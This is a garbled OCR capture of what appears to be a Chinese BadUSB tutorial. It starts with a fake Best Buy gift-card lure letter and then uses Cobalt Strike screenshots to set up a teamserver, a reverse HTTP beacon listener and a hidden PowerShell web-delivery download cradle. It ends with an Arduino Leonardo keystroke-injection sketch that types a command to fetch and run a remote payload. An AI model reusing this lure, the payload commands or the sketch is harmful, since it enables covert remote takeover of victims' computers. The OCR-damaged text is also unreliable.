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February 12,2020

Dear SUEE
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Best Buy company thanks you for being our regular customer for a long period of time, so we SR b a USB

you a gift card in the amount of $50. You can spend it on any product from the list of items presented on
stick.

Thank you again for choosing us!
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https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247484345&idx=1&sn=c7ba3b04ea66a5ba3d319bdd62e25b8f&scene=21#wechat_redirect
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CobaltStrike AL
(1) [Bzh CobaltStrike PR&Eis:

./teamserver vps [ ip WEHTERBMESHIIEN 52 profile[ B ol AR e, B HEGAT profile]

oo o LI BESN I XN R R IOLAL LIRS & ¢
Last login: Fri Jul 31 23:41:06 on ttys000@

appledeMacBook-Pro:cobaltstrike4.@ 99% sudo ./teamserver 192.168.0.106 123456
. ]
Password: @ TideZ£HRA
| Will use existing X509 certificate and keystore (for SSL)

(2) B CobaltStrike Z i

javaw -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap
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Connect

This is the connect dialog. You should use it to

connect to a Cobalt Strike (AW server.

Host:  [192.168.0.106
Port: 50050
User: [neo

Password: [******

| connect || Help "'*
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extern internal =~ user
Eventlog X | Listeners X
name {payload
[ NON ) New Listener
Create a listener.
Name: [badusb ]
Payload: |windows/beacon_http/reverse_http - |
Host:  [192.168.0.106 |
Port:  [19919 ]
-, TideZ =H]




(4) 4ERK powershell [ T E#ER:

| Spear Phish | lone Site

Manage

Host File

Scripted Web Delivery

Signed Applet Attack
Smart Applet Attack
System Profiler

_-

EventLlog X | Listeners X
name payload
badusb windows/beacon_http/reverse_http
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EventLog X | Listeners X
payload

name
badusb windows/beacon_http/reverse_http

®0® Success

Started service: Scripted Web Delivery
Copy and paste this URL to access it

\powershell.exe -nop -w hidden -c "IEX]

T 5

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.10!

« I »
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external internal = user
o0 @ Payload Generator
This dialog generates a payload to stage a Cobalt Strike
‘ listener. Several output options are available.
— _ Listener: |badusb llil w |
[] Use x64 payload rse_http
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http://192.168. 0. 106:808/badusb. psl



Cobalt Strike View Attacks Reporting Help
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external internal = user

Arduino fREFHIRR:

badusbifi N #TJFArduino IDE L E.->JF KM ->iE$E“Arduino Leonardo” T H.->3il>iEHF“COM* (Arduino Leonarc
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| i Cel+T
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S EREFT EiRhE

EEE. Ctrl+Shift+1
mOEHE Ctrl+Shift+M 4
BO@ES Ctrl+Shift+L
WiFi101 / WiRiNINA Firmware Updy
- FHEIR: "Arduino Leonardo” [ RS -
s =0 "COM4 (Arduino Leonardo)® & ' Arduino Yin il
BETERER Arduing Uno
| | B3 *ArduinolS" | Arduino Duemilanove or Diecimila -
[ P - Arduino Nano A
| Arduino Mega or Mega 2560
Arduino Mega ADK

© Arduino Leonardo
Arduino Leonardo ETH
Arduine Micro
Arduinc Esplora
Arduino Mini
Arduino Ethernet
Arduine Fie
Arduino BT
LilyPad Arduine USB
LilyPad Arduine
Arduino Pro or Pro Mini
Arduino NG or older
Arduino Robot Control

Arduino Robot Motor

Arduino Gemma Aiduina Leanarda 11 COMS
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#include<Keyboard.h>
void setup(){
Keyboard.begin(); ///F4atididifl



delay(1000); //#EHT

Keyboard.press(KEY_LEFT_GUI); //win##
Keyboard.press('r');//r#

delay(500);

Keyboard.release(KEY_LEFT_GUI);

Keyboard.release('r");

delay(500);
Keyboard.press(KEY_CAPS_LOCK) ; // FI/HH X GHh GLZ500 T A 7%
Keyboard.release(KEY_CAPS_LOCK);

delay(300);

Keyboard.println("cmd.exe /c powershell.exe IEX(New-ObjectNet.WebClient).DownloadString('http://192.1
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);

delay(500);

Keyboard.end() ; // %5 # & #-0

}
void loop()

{
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D sketch_feb24a | Arduino 1.8.13 =rat X
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elease (KEY_LEFT_GUI);
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» ] BadUSBIHZRHS » B [FEHREZE] ...badusb.mp4
» I Badusb%ﬁylﬁ » W [(EGRE] .)ESmpa
02 [BHRE] B - 2.mpa
2= NEBMBKERE...HE - 1.mp4
1.badusb%s IFER{F1143.mp4
1.badUSB%Y.. . badusb.mp4
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https://blog.csdn.net/weixin 432111867t=1




https://www.jianshu.com/p/7afdc002f321



